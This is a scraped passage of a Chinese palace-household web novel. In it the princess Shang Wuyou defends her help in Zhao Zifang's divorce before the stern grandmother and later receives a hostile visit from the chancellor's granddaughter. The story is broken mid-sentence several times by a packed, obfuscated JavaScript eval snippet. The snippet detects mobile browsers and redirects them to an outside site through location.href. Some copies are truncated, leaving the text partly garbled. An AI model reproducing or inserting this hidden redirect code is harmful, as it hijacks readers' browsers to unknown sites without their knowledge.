“大司农手握重权,又得陛下宠爱,孙家怎么敢得罪?” 李氏叹道:“话虽如此,到底连累了夫人,我心里着实过意不去……” 刘氏忙一把拉住她的手,沉声道:“陈家可是长公主的拥趸,我家老爷与国公爷同朝为官,如今既与府上结了缘,日后交往还多着呢,太夫人您又何必急于一时?” 李氏想了想也是这个理,便又郑重谢过了刘氏,又吩咐手下人备了重礼,这才恭恭敬敬亲自将刘氏送出了门。 待看着陈府的马车远去,李氏才在赵子芳的搀扶下往自己的院子走去。 “芳儿,你在孙家受了这么多委屈,为何不早跟娘说?” 听见母亲的问话,赵子芳垂下眼,低声道:“爹爹在时孙彪对我还算不错,谁料爹爹前脚人一没,孙家便露出了真面目……有道是嫁出去的女儿泼出去的水,为了咱家的名声,我本想咬咬牙、这辈子就这么过了,可孙家竟连个孩子都容不下——我可怜的玲珑竟被起子贱妇苛待,这叫我如何忍得下去?!” 李氏闻言悲从中来,孙颖是她的亲外孙女,她怎么能不心疼? 三四岁的孩子竟那般瘦弱,偏又胆小、不爱说话,乖巧的让人心疼,不知受了多少苛待才养成了这样的性子! “都是娘不好,还以为孙家是个好人家……” 赵子芳掏出帕子为李氏拭泪,柔声劝慰道:“母亲别伤心,如今女儿已与孙家和离,孙家不仅答应将女儿的嫁妆退还,还许女儿将玲珑带在身边,女儿知足了!” 李氏闻言眼泪大颗大颗的滑落,她悲伤的拉住女儿的手,悲戚道:“可是芳儿,你今后该怎么办啊……” 赵子芳心下亦茫然。 她虽拿回了嫁妆,可这些年来光禄勋府已大不如前,她那是掌着府中中馈,陈年的烂账她用嫁妆平了又平,当初带入府中的银钱如今只余下一半;后来她被孙夫人夺了管家之权,虽说有些田产铺面还在自己手中,可余下的嫁妆亦被孙家侵吞了不少,如今便是有长公主给她撑腰,嫁妆只怕也不剩多少了! 还有玲珑! 这孩子毕竟姓孙,说到底是个外人,性子又敏感胆小;自己虽是国公府大小姐,却已是个和离的妇人,还带着个外姓的女儿,又没有多少银钱傍身,这府中还有两位出自高门的妯娌,便是有母亲和祖母护着,她往后的日子只怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649094|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也无法过的舒心…… 可赵家毕竟是自己的娘家,便是日后要听些闲话,但父母兄弟必不会像孙彪那中山狼般苛待自己和孩子! 赵子芳在九龙池那些日子便想好了,和离之后,她虽在娘家,却不会动用赵家一分钱! 自己的嫁妆虽然所剩无几,可她和女儿都是能吃苦的。只要省吃俭用,手中的余钱想来能维持母女俩的生活。 她是不想再嫁人了—— 诚如孙夫人所言,她带着个拖油瓶,便是宁国公府的嫡女也没有什么好人家愿意要她。 往后只要她安分守己,不再动用家中的银子,没了利益冲突妯娌们便不会针对她;母亲和祖母亦不会难做,到时便不会有人苛待玲珑。有元婴这个国公舅舅在,将来必会给玲珑寻个好人家。她想好了,只要老实本分、善待她的女儿,门第什么的她都不在乎! 想到此处她露出个轻松的微笑,拉着李氏的手低声道:“母亲放心,女儿有嫁妆在手,日后会好好抚养玲珑,必不让母亲再操心……” “太夫人,大小姐,老太君请二位往松鹤居去一趟!” 泪眼朦胧的母女俩回过头,却见史太君身旁的王嬷嬷带着几个丫鬟婆子,一脸严肃的来至二人跟前。 李氏忙擦了擦眼泪,低声道:“可是母亲有什么吩咐?” 王嬷嬷看了看赵子芳,眼神一黯,朝着李氏沉声道:“不是奴婢多嘴,太夫人做事实在欠妥!大小姐贵为国公府嫡女,怎可轻易与夫家和离?和离的女子会落得个什么名声夫人难道不知?我赵家还有几位姑娘待嫁,太夫人可为她们考虑过?” 子芳和离之事,母亲是怎么知道的?! 李氏闻言收了悲愤,面上现出几分担忧来。 王嬷嬷是老太君的陪嫁,在国公府中的地位甚高,往日里连已故的老国公都要看她的脸色,她今日敢这般重责李氏,可想而知史太君的怒火到底有多盛! “老太太动了大气,太夫人您自求多福吧!” 第一百三十七章 国公爷会不会责怪殿下 祖母是个严苛的人,此事被她知道了,只怕难以善了! 赵子芳不怕被祖母责备,可和离之事是自己的主意,母亲事前并不知晓,这事断断怪不到她的头上! 长公主殿下又该怎么办?! 祖母她老人家一向看不惯长公主,此番长公主冒天下之大不韪、帮助自己摆脱孙家,万一她因为此事被祖母厌恶,叫她如何安心?! 赵子芳思及此处,忙朝母亲的大丫头慧姗使了个眼色,拉住她低声嘱咐道:“快去寻国公爷,将此事的来龙去脉告诉他,请他立刻往长公主的院子去——若是待会儿祖母要见长公主,让他无论如何拦住殿下,千万不要去松鹤居!” 祖母和长公主都是要强的性子,这两人若真的对上,只怕今日赵家真要出大事了! 看着慧姗悄悄离去,赵子芳这才深吸了口气,回首朝自己的丫头道:“去把玲珑抱过来,今日这关过不过得去,就看这孩子了!” ----------------- “二爷,出事了!” 赵元婴刚刚迈进跨院,便见母亲身旁第一得力的丫头慧姗一脸焦急的站在一旁。 赵元婴一怔,忙道:“这是怎么了,是不是母亲的身子有所不妥?” 慧姗忙凑到他身边,将长公主帮赵子芳与孙家和离之事一五一十与赵元婴说了。 “这事不知怎的被老太君知道了,王嬷嬷已将太夫人与大小姐叫到松鹤居去了;大小姐怕老太君会寻长公主的麻烦,特意叫奴婢来告知国公爷,千万别让长公主去松鹤居!” 赵元婴叹了口气。 商无忧实在大胆,竟私下里帮着姐姐和离,难怪祖母要生气! “我知道了,你回去吧!” 慧姗想了想,又道:“待国公爷安顿好长公主,也该往老太君跟前替太夫人与大小姐解围才是。” 赵元婴点了点头,转身往商无忧的院子去了。 待到了寝房门口,却见霜姑姑和福童守在外头,便上前道:“殿下可是歇息了?” 福童忙施了个礼,低声道:“启禀国公爷,咱们殿下忙了大半日,实在劳累,人刚刚睡下;国公爷若有要事,奴婢这就进去唤醒殿下。” 赵元婴见状摇了摇头,“不必了,叫她歇着吧!” “国公爷可是为大小姐和离之事来的?” 福童觑着他的脸色,低声道:“咱们殿下也是好心,这事可是大小姐亲自求告的殿下,殿下为救她脱离苦海,此番可是花了大心思……” “可咱们殿下也说了,她的这片好心怕无人感念。此事将来若传开了,旁人还要诋毁咱们殿下越俎代庖、坏人姻缘呢!” 余霜闻言点了点头,冷冷道:“长公主有心助人,只可惜未必能落个好名声。奴婢却见不得殿下受委屈——大小姐的事本是国公府的家事,我家殿下见不得大小姐母子被人如此欺辱,又看着国公爷面子上,这才出手相助。若是国公爷您反过来怪我家殿下多事,岂不是辜负了殿下待您的一片心意?!” 福童也道:“姑姑说的是,殿下是怕国公爷难做——孙家苛待大小姐至此,大小姐是一定要和离的!光禄勋到底是两朝老臣,身边故旧众多,驸马爷虽顶着国公的爵位,到底不宜与孙家结怨;如今长公主出面做了这逼迫孙家和离的恶人,便将赵家从此事中摘出来了。” “便是日后闹起来,旁人也只会说我家殿下仗势欺人,与国公府无半点关系!” 赵元婴默了默,这才轻声道:“此事涉及殿下名声,她又何必如此……” “殿下说,商氏皇族欠赵家的人情,由她来还,唯有如此才能解驸马的心结!” 赵元婴一震,他抬头望向福童,却见那小内监朝他微微一笑。 “奴婢并不知殿下此话是什么意思,不过那日殿下喃喃自语,奴婢却是听见了。” 赵元婴垂下眼,低声道:“我知道了……你们好生照顾长公主,若是有人来寻她,你们便说殿下的伤还没好,万万受不得打搅!” 福童 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649095|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和余霜忙欠了欠身,“国公爷放心,奴婢们一定好好照顾殿下。” “征西将军留下话来,国公爷若对和离之事有疑问,只管去寻他!” 赵元婴点了点头,这才转身离去。 “姑姑你说,国公爷会不会责怪殿下?” 听见碧萝的问话,霜姑姑哼了一声,“说到底赵大小姐和不和离关我们殿下什么事?他嫡亲的姐姐被孙家那般折辱,他这做弟弟的不出头,反倒劳烦咱们殿下这做妯娌的为之费心,若是他还敢责怪殿下,便是连心肝都没有了!” 碧萝默了默,这才小声道:“可女子和离毕竟是大事,咱们殿下越过赵家老太太和太夫人替大小姐出头,总归有些……” 霜姑姑瞪了她一眼,“若是其他人,便是跪死在殿下跟前儿,殿下也懒得看一眼!殿下欣赏赵大小姐,为了让她在孙家的日子好过些,殿下拖着病体亲自向陛下为孙彪求官;为了替她要回女儿,殿下对那孙家予取予求,连赔给孙家的银子都是殿下的私房,殿下舍着脸、贴着钱,为的都是他赵家的女儿,他们凭什么指责殿下?!” 余霜缓了口气,忽然叹道:“说到底还是殿下心软,大小姐要与孙家如何都是他赵家之事,犯不着殿下费半点心思!刚刚听宁国公的口气,只怕是上头两位夫人不满殿下替她家女儿出头,我真替殿下不值!” 碧萝这才道:“姑姑说的是,咱们殿下从来不会为不相干的人费心。孙家那般下作的人家,太夫人性子软和断断应付不了,而大夫人年轻,老太君又年事已高,若是理论起来难免被气到;国公爷和征西将军是男子,想来也应付不来惯会撒泼的孙夫人,放眼整个国公府,能对付孙家的竟只剩下殿下一人。” 她说道此处叹了口气,“怕只怕殿下做了好事却要落下恶名,赵家人往后还不知要怎么恨殿下呢……” 三人面面相觑,默然无语。 院墙外,赵元婴将几人的话听了个清楚,他眼中似有流星划过,半晌后才抬步往兄长的院中走去。 第一百三十八章 谁怂恿你让芳儿和离的? “姑姑安好,老太君请长公主往松鹤居一趟!” 霜姑姑抬眼看了看王嬷嬷,低声道:“殿下身子未复,眼下人已经睡了,若是没什么重要的事,嬷嬷便等殿下醒来吧!” 王嬷嬷挺了挺腰杆,高声道:“殿下虽贵为公主,到底是我赵家的媳妇,老太君招殿下相见,若殿下不去、传出去岂不要被人笑之轻狂无礼?” 她说着哼了一声,语带冷然道:“殿下刚刚还在府中行了大事,姑姑此时却说殿下身子未复,岂非有意诓骗老太君?” “大胆!” 余霜将眼睛一立,冷冷道:“你算个什么东西,也敢议论长公主?殿下是嫁给了国公爷,可自古以来都是先论君臣、后论亲疏!你出身郡王府,怎么连这么简单的道理都不明白?” 她瞥了王嬷嬷一眼,“嬷嬷是老太君身边第一得力之人,便是老太君糊涂了,嬷嬷也该劝着才是!” 王嬷嬷却道:“老太君乃郡王之女,乃是殿下的长辈,连陛下亦要尊重宗亲,姑姑如此狐假虎威是要给谁看?” 霜姑姑冷哼一声,“到底是谁狐假虎威?老奴已经说了,咱们殿下受了重伤,后宫嫔妃都敢不打扰殿下养伤;殿下才回府,老太君便这般折腾人,是想坏了殿下的身子吗?” “你含血喷人,明明是长公主托大、不敬长辈……” “吵什么吵,还让不让人睡觉了?” 大门一开,长公主商无忧打着赤膊、胸前裹着纱布,外头只罩一件大红色的罩衫,睡眼惺忪的出现在众人眼前。 霜姑姑率先跪倒,口中不住告罪:“奴婢惊扰了殿下休养,实在罪该万死!” 商无忧只打了个哈欠,一双碧眼冷冷朝王嬷嬷瞟了过来,眼神中点点寒星带着肃杀之意,只一眼便叫王嬷嬷后颈升起一片凉意。 商无忧靠在门边,随意的道:“这婆子嘴皮子倒是利索,只是不知若没了口中那图惹是非之物,还能不能将大道理说着这般慷慨激昂……” 长公主举手投足间率性随意,王嬷嬷却分明感受到一丝危险气息扑面而来。她心脏砰砰直跳,双腿一软、跪倒在地,小心翼翼道:“老奴无意惊扰殿下,只是老太君有要事相邀,还请长公主往松鹤居一叙。” “不就是赵子芳和离之事嘛,本宫就陪你走上一趟!” 余霜见她拔腿要走,忙出声挽留道:“殿下且慢!您此番受伤颇颇,陛下千叮咛、万嘱咐的叫您卧床静养,您可一定要听陛下的话才是啊……” 商无忧叹了口气,低声道:“姑姑快起来,我知你是为我好,可今日本宫若不走一趟松鹤居,只怕此事难了。到时不仅本宫不能好好将养,太夫人和大小姐亦要被迁怒!” 她转过身朝王嬷嬷冷冷一笑:“你想好了,本宫可不是逆来顺受之人,说话又一向不中听,若此番去了松鹤居真将老太君气出个好歹,你需记住,是你非要本宫去的!” 王嬷嬷的心一沉,她刚要开口,却见长公主潇洒的转过身,朝一旁招了招手,抬脚上了肩辇。 看着她披发赤足的随意模样,王嬷嬷狠狠咬了咬唇:老太君最重仪容,长公主这个样子过去,老太君见到丁是要生气的。 她看了看默然起身、跟在商无忧身后的霜姑姑,皱着眉提醒道:“既是要见老太君,姑姑总该给长公主梳洗一番才是,殿下姿容这般随意,老太君看到定然会动怒……” 霜姑姑横了她一眼,不屑道:“我家殿下见陛下时也是这个打扮,嬷嬷若不满意只管到陛下面前去说……” 王嬷嬷被她一噎,不由怒从心头起,偏又无法反驳,只得狠狠跺了跺脚,昂首挺胸的跟在长公主身后往松鹤居去了。 ----------------- “跪下!” 听到史太君的低喝,李氏委屈的咬了咬唇,即便满心不甘,她依旧听话的跪了下去,口谦卑道:“母亲如何责备媳妇不要紧,可气大伤身,若是您有个不妥,国公爷泉下有知,您叫我如何面对夫君……” 史太君将手中拐杖重重朝地上一戳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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想起那一身反骨的女子,史太君心头便生起一股不甘之意,忽的恨恨道:“我赵家三代忠君爱国,也不知是造了孽什么孽,竟让元婴娶了这么一位为妻;我的乖乖孙何等英武,没想到竟毁在她的手上……” “老太君实在说本宫配不上您的乖乖孙吗?既然您不喜这门亲事,父皇赐婚时您为何不拒绝?!” 第一百四十章 以后有事不许瞒着祖母 “所以殿下就鼓动芳儿和离?!” 史太君面上浮上一丝愠怒,“您还真将自己当成救苦救难的神女了?” “我知殿下杀伐果决,可您怎么就没想想,和离后的芳儿要如何活下去……” 商无忧托着腮,一脸淡漠的道:“国公府刚刚办完丧事,老太君和太夫人如今没了丈夫,你们又该怎么活下去?!” 无礼! 无礼至极! 史太君眸中一片寒色——这丫头仗着身份高贵,竟敢用老国公之死来讽刺自己! “市井凡妇何其卑微,她们的丈夫战死沙场,难道她们便该带着孩子**?这世道虽然艰难,可总有活下去的办法。大小姐乃国公府的嫡女,若连这点气魄都没有,就活该烂死在孙家!” 商无忧挺直脊背,正色道:“老太君想得出其他法子救人吗?还是说您愿意委曲求全,任那无耻的亲家蹬鼻子上脸,踩着大小姐的尸骨向上爬?” “孙家过去忌惮老国公威严,不敢慢待大小姐;赵元婴虽然成了爵,可两位老国公一去、赵家元气大伤,孙家轻慢之心一起,大小姐的好日子便一去不复返了!” 赵子芳叹了口气,低声道:“祖母可知,婆婆她逼着我向殿下求官的事?孙彪此人文不成、武不就,可婆婆偏要他做个四品京官,元婴办不到她就逼着我去求长公主;殿下为了让我的日子好过些,只得答应了她的请求。谁知婆婆竟得寸进尺,事后又逼着我向殿下为她的小儿子求官。” “我不允,她就用玲珑威胁我,说要让我永远见不到自己的孩子……” 赵子芳眼中垂泪,黯然道:“殿下借口喜欢玲珑将我们母子留在宫中,让我好好想想今后该何去何从……祖母,孙女想明白了——怎么都是一辈子,我实在不愿委委屈屈的活着……” “阿娘,你别哭!” 听见母亲的悲戚,小小的孙颖从赵子芳怀中抬起头,伸手为她擦去眼角的泪水,用奶奶的声音坚定的道:“爹爹和祖母对阿娘和玲珑坏,玲珑不要回去!玲珑不怕吃苦,只要能和阿娘在一起,玲珑就高兴!” 她转过头,带着一丝惧意朝坐上威严的史太君道:“老祖宗,您别怪阿娘和祖母了。玲珑知道和离是什么意思——之前阿娘曾问过玲珑,若是以后没了爹爹,别人欺负玲珑怎么办?可玲珑觉得没有爹爹也没什么,反正除了爹爹、祖母和那些如夫人,从来没人欺负过玲珑……” “四公主和玲珑说过,人得靠自己;只要跟长公主殿下一样,学得一身本事,就没人敢欺负我!” 小小的人儿转过头,朝哭泣赵子芳道:“阿娘别怕,玲珑已拜了长公主做师父,等玲珑长大了就再也没人敢欺负阿娘了……” 赵子芳一把将女儿抱在怀中,放声大哭起来。 李氏早就泣不成声,她转头抱住母女二人,三人抱头痛哭起来。 史太夫人眼圈一红,看着眼前哭成泪人的孙女,责备的话怎么也说不出口。 “罢了,合离就合离!” 老太君长叹一口气,“孙家如此作为我也实在是看不下去!子芳就带着玲珑安心住下,家中有你母亲和弟弟坐镇,无人敢议论你的是非;你大嫂也是个省事的,日后也断不会针对与你……” 史太君口中如此说,心里却在暗自思量如何安排赵子芳和离之后的生活。 赵子芳闻言忙擦了擦眼泪,轻声道:“不劳祖母费心,孙家答应归还孙女的嫁妆,日后孙女要将玲珑带在身边,余下的嫁妆虽然不多,总归能叫我们娘俩儿吃喝不愁,用不着府中破费……” “这是哪的话,难不成堂堂国公府还养不起你和玲珑两个女人?” 史太君虽如此说,心下到底松了口气。 子芳能带回嫁妆自然是好! 府中到底还有几位老国公的妾室和庶子女,赵子芳和离归府,众人表面上不敢说些什么,私底下却会计算得失,日子长了子芳母女难免遭人白眼;如今她带着嫁妆归府,众人的利益不受损,自然也不会针对她们,两下里相敬如宾才是长久之计! 思及此处她心头忽的又漫上一丝狐疑,忙开口问道:“孙家那般无耻,怎会容你带着嫁妆回府,还让你将孙家的嫡女带在身边?” 赵子芳感激的看了眼商无忧,轻声道:“还是多亏了长公主,若没有殿下从中斡旋,孙家可是连休书都不愿给孙女呢……” 又是长公主! 她的手未免伸的太长了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她眼含告诫的看了眼商无忧,这才朝赵元吉、赵元婴两兄弟道:“以后有事不许瞒着祖母!” “祖母放心,孙儿日后不敢了。” “既如此,你们便都退下吧!” 福童一见此事已落下帷幕,忙叫了声“起轿”,史太君见状高声道:“长公主既从宫中归府,合该安心养伤才是,府中事有太夫人操持,就不劳公主费心了!” 商无忧默然无语,任由小内监将肩辇抬出了松鹤居。 第一百四十一章 不知高小姐前来所为何事? 这几日赵不移可高兴了! 二叔和二婶前脚刚一回府,姑姑便带着妹妹玲珑从孙家回来了,还说以后再也不走了! 玲珑身子一向不好,听说她拜了公主出身的二婶做师父,每日里不仅要喝下从白云观中讨来的药水,还要跟二婶婶学习道家强身健体之术! 赵不移听罢十分好奇,练武可以强身健体,姑姑就会武艺,为何不自己教玲珑呢? 说起他这个妹妹当真十分乖巧,听说她以后要留在国公府、再也不回孙家了,赵不移兴奋的一夜都没睡—— 终于有人陪他玩了! “玲珑,你在做什么?” 赵不移穿过长廊,来至商无忧的洛神轩,却见妹妹正慢悠悠的挥动着胳膊腿,样子全然不像在打拳,可一招一式却甚有章法。 “是师父教我的**,只要我每天练上几遍,手脚就会慢慢变得有力气!” 赵不移眼神一亮,“那我也来学学!” 赵不移说着眼神一瞬不瞬的盯着孙颖的动作,不消一会便将动作记熟了,随后跟着妹妹一起动了起来。 今日阳光甚好,商无忧叫人将贵妃榻搬到园子里,一边懒懒的躺在上头晒太阳,一边悠闲看着两个孩子玩耍。 赵不移练了一会便觉无趣,低声道:“这也太慢吞吞了,若照这个速度,你这身子啥时候才能壮实起来啊……” 商无忧瞥了他一眼,懒洋洋道:“玲珑先天不足,那些刚猛的招式她学不来。道家养气之术讲究天人合一,日积月累便能改善人的体质。我不过先教她些活动招式,待她手脚有力气了,我才能教她更深的招式。” “你这小子阳气十足,这些慢吞吞的招式当然不适合你练。” 赵不移忙道:“听说二婶是太初**的弟子,又得卫尉大人亲传,婶婶的功夫一定很好,您能不能也教教我?” “赵家自有家传绝学,无需我来教你!” 商无忧悠闲的喝了口茶,轻声道:“你日后许是会做上阵杀敌的武将,我的那些招式不适合你……” “二婶偏心!” 赵不移扁了扁嘴,“您肯教玲珑,为什么不肯教我?二婶吃了我娘做的好些菜,您若什么都不教元宝,心里过意的去吗?” “你这臭小子,本宫不过吃了你娘几回饭,你倒向本宫讨起债来!” 商无忧呵呵一笑,“太初一门有规矩,我这功夫不教侄儿、只教徒弟!” “徒儿拜见师父!” 看着跪在地上的小小身影,商无忧面上露出一丝微笑。 “孺子可教!” “起来吧!” 赵不移喜滋滋的站起身,屁颠屁颠的跑到商无忧跟前,笑道:“二婶,不、师父,您今日要教我些什么?” 商无忧摸了摸他的头,“叫婶婶就好,一声师父实在太生分了,若是叫你家老祖宗听见了,只怕要不高兴的!” “婶婶放心,我和玲珑记住了!” 商无忧从怀中掏出几页纸,随意的丢入赵不移怀中,轻声道:“听你爹说你已经认字了,这上头记载着基础的吐纳之法,自己拿去练,等练会了再来找我。” “长公主,外头有人求见!” 红珠走至商无忧跟前,俯身低声道:“丞相府的那位嫡小姐带了好多的礼物,说是前来探病!” 相府的小姐? 高若馨?! 她来见自己做什么? 商无忧面上泛起抹意味不明的微笑,低声吩咐道:“叫她进来吧!” 红珠道:“殿下与那高若馨有过节,奴婢刚刚见她趾高气昂,定是来找麻烦的,殿下要不要换身衣服见她?” “不必了,她还不配叫本宫费心。” ----------------- 高若馨跟着小内监身后往国公府后院走,一路上但见花红柳绿、一派欣欣向荣之象,她心中不由怅然若失——若不是赵家父子出事,她本有机会嫁入国公府的…… “高小姐,这便是殿下的洛神轩了!” 好个不要脸的长公主,竟敢以洛神自比! 碧萝一边引着高若馨往里走,一边谦卑的道:“这园子是国公爷取的名字——洛神轩乃是国公爷亲自画的图纸、由中书令家的三公子督建。里头种满了奇花异草,还有不少珍奇异兽。莫说是殿下,连我们这些做奴婢的,也稀奇的紧!” 高若馨横了她一眼,不屑道:“听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649099|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说你是个从神殿出来的,难怪没见过世面!长公主病了这么多年,自然是没见过什么好园子,这里连我家后花园都比不上,更别提淑妃娘娘的长春园了!” 碧萝也不生气,忙让开身示意她往里头走。 “婶婶,玲珑没力气了……” “二婶,元宝这么做对吗?” “你们两个,去红珠那儿拿点心吃去吧。” 高若馨一进院便听见孩子的吵闹声,一抬头只见商无忧一手支头、慵懒的歪在榻上,笑咪咪的看着不远处一男一女两个孩童玩耍。 听称呼,这两个当是赵家的孩子。 她倒悠闲! 高若馨上前一步,浅浅福了福身,“臣女拜见长公主殿下!” “婶婶尝尝这桂枝汤!” 赵不移举着碗跑到商无忧跟前,歪着头去看高若馨,不解道:“这个姐姐是谁,她见到婶婶怎么不下跪?” “她是丞相的孙女,身份高贵,行事自然无礼!” 听见商无忧的回答,赵不移皱了皱眉,他将手中碗放在案上,转身走到孙颖面前,沉声道:“玲珑你要记住,赵家的女儿不能没规矩,见到贵者不行礼传出去别人叫人笑话的,到时候爹爹、祖母、太祖母的脸可就都丢光了……” 身旁的婆子拉了拉她的袖子,高若馨将笑容敛去,这才不情不愿的跪了下去。 “殿下万安!” 商无忧端起碗饮了一口,低声道:“不知高小姐前来所为何事?” “得知长公主受伤,祖父忧心忡忡,特遣若馨前来探望!” 当初太掖池边长公主差点杀了自己,如今又抢了自己心上人,此仇不能不报! “既是探病,为何不早来?” “臣女也受伤了,因此未能及早探望殿下!” 商无忧歪着头道:“本宫不过削掉你一缕头发,又将你丢进水中,至于修养这么久吗?” 高若馨脸上的笑几乎绷不住,她愤愤站起身,低声道:“臣女好心好意来探望殿下,殿下却这般对待臣女,就不怕失了皇家风度吗?” 商无忧呵呵冷笑,“本宫可不信你有什么好心!” “说罢,你究竟要如何?” 第一百四十二章 颠倒黑白 “臣女刚刚说了,只是来探病的而已!” 高若馨双目如喷火,她死死盯着眼前女子,目中的恨意满溢。 商无忧见状不由冷笑,“高小姐不像是来探病的,倒像是盼着本宫归西呢!” 高若馨默然不语,她身后的婆子见状暗自叹了口气,上前一步道:“殿下恕罪,我们小姐对殿下并无不敬之意,说起来殿下还是小姐的恩人,相府上下感激您来还不急,又怎会生出怨怼之心……” 商无忧哼了一声,“她那回可是差点溺死在太掖池,她落水之时口中还在诅咒本宫,本宫实在看不出来她是如何感念本宫恩典的……” 那婆子忙道:“殿下说笑了,若没有长公主我家小姐的清白可就全毁了!小姐是知恩的,可她到底是个女孩子,从小又娇生惯养,如何受得了旁人的指指点点?小姐她一时拉不下脸,情急之下才出言冒犯了殿下,此番是特意来向殿下赔罪的!” 商无忧瞥了她一眼,“你又是何人?嘴皮子倒是利索,按你这么说本宫此次若治这丫头个不敬之罪,便成了是非不分之人了?” 那婆子忙福了福身,“奴婢是丞相夫人身旁的一等婆子,姓申!” “殿下莫要误会,此番奴婢确是陪着我们姑娘来探病的;临行时丞相特意吩咐过要老奴替他好好感谢殿下保住了相府的脸面,丞相还说若是殿下日后有用得着高家之处只管开口就是!” 商无忧看着那婆子恭敬的模样心中竟泛起冷意—— 她数次针对淑妃,又害得高炯失了戍卫宫廷职权,高子霖这老奸巨猾之辈只怕对她忌惮颇深,又怎会生出感激之心?! 再说她何曾救过高若馨了? 明明是高、张二人于宫中“偷情”被她撞破,恼羞成怒之下竟想**灭口,怎么如今到了这婆子嘴里,她高若馨竟成了受害者? 申嬷嬷见商无忧不语,又道:“说起来此事原也是个误会,张公子与我们小姐本就是表兄妹,举止原就比常人亲密些;恰逢那日小姐失足落水,表公子为救人跳入水中,因此二人衣衫不整也在所难免……” 商无忧撇了撇嘴,“按你的意思,太掖池边偷情竟成了子虚乌有之事了?那你家小姐挣扎尖叫、张子昂被本宫撞破**竟起了杀心,又当如何解释?” 见商无忧将自己说的这般不堪,高若馨不由将牙关紧咬;她好歹记着祖父的嘱托,只得将一切都交给申嬷嬷来说。 “小姐落水、表公子连忙施救,小姐是受了惊吓才会乱喊;至于表公子与殿下的冲突……” 申嬷嬷说着忽的跪了下去,一个头重重磕在地上,沉声道:“长公主生病多年,朝中贵胄多有不识。据表少爷说,殿下那日披发赤足、身上的裙子亦破烂不堪,言语间似还有些疯癫之态,表少爷是惊惧之下才出手冒犯了殿下……” 商无忧冷笑不止—— 高子霖这老狐狸,几句话竟黑白颠倒——这对表兄表妹都成了可怜之人,自己这撞破**之人倒成了污人清白的始作俑者! 好一招指鹿为马! “按你这说法,这错竟都在本宫身上?” 申嬷嬷闻言伏地不起,“老奴刚刚说了,此事从始至终都是个误会而已,殿下您无需自责!” 商无忧一脸荒谬的摇了摇头:高、张二人联手害人,她为何要自责?! “你拿这话堵本宫的嘴便罢了,可那日太掖池边多少人,高家势力再大、难道真能封住悠悠众口?” 申嬷嬷闻言直起身,沉声道:“流言只能是流言,便是传的再广也有被戳破的时候。便如长公主殿下——您多年来被人叫做疯妇,可一朝复起、陛下也要降下圣旨,称您不过是因重病而至神志不清;如今您在司命祭礼上一舞惊天下,一朝翻身便又成了我大辉的天命神女,谁人还敢提之前发疯的事呢?” 高若馨唇边扯出一抹讽刺的笑—— 申嬷嬷说的好! 听说长公主疯癫之时连死老鼠都吃过,又被宫女太监们欺辱,她就光彩了?! 商无忧闻言却不恼,她一手托腮、一双美目闪闪发光,像听到什么有趣之事般笑道:“高相究竟有何打算,你直说就是!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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什么婚事?! 为什么从来没人对她提及此事?! 高若馨面色发白,忙回头去看申嬷嬷;申嬷嬷全然不顾自家小姐噬人的眼光,继续朝歪在榻上、一脸兴味的女子道:“离小姐出嫁之期只有一个月,丞相自是不希望再听到什么污言秽语。” 她站起身,朝商无忧恭恭敬敬的施了个礼,“小姐此来带了好些名贵的药材,丞相大人说了,大辉往后还要仰仗镇国公主,您可一定要养好身子才是!” “丞相的话老奴已带到,这便告退了!” 申嬷嬷说罢转身离去。 高若馨却站在原地,一动不动的死死凝望着一脸轻松的长公主—— 都怪这个**! 不过是皇帝跟前不得宠的疯丫头,也不知用了什么肮脏手段,竟一跃成为整个大辉朝炙手可热之人! 她从永巷一出来便不声不响的抢走了自己的心上人,她害的父亲丢了官职、害的姑母被皇帝厌弃,还让自己在太掖池边出了丑,如今又害得她不得不嫁给张子昂那好色之徒…… 她上辈子究竟怎么得罪她了,为何她偏偏要与自己过不去?! 她堂堂宰相府嫡女,竟被个不入流的公主害成这个样子! 这辈子,她定与她不死不休! 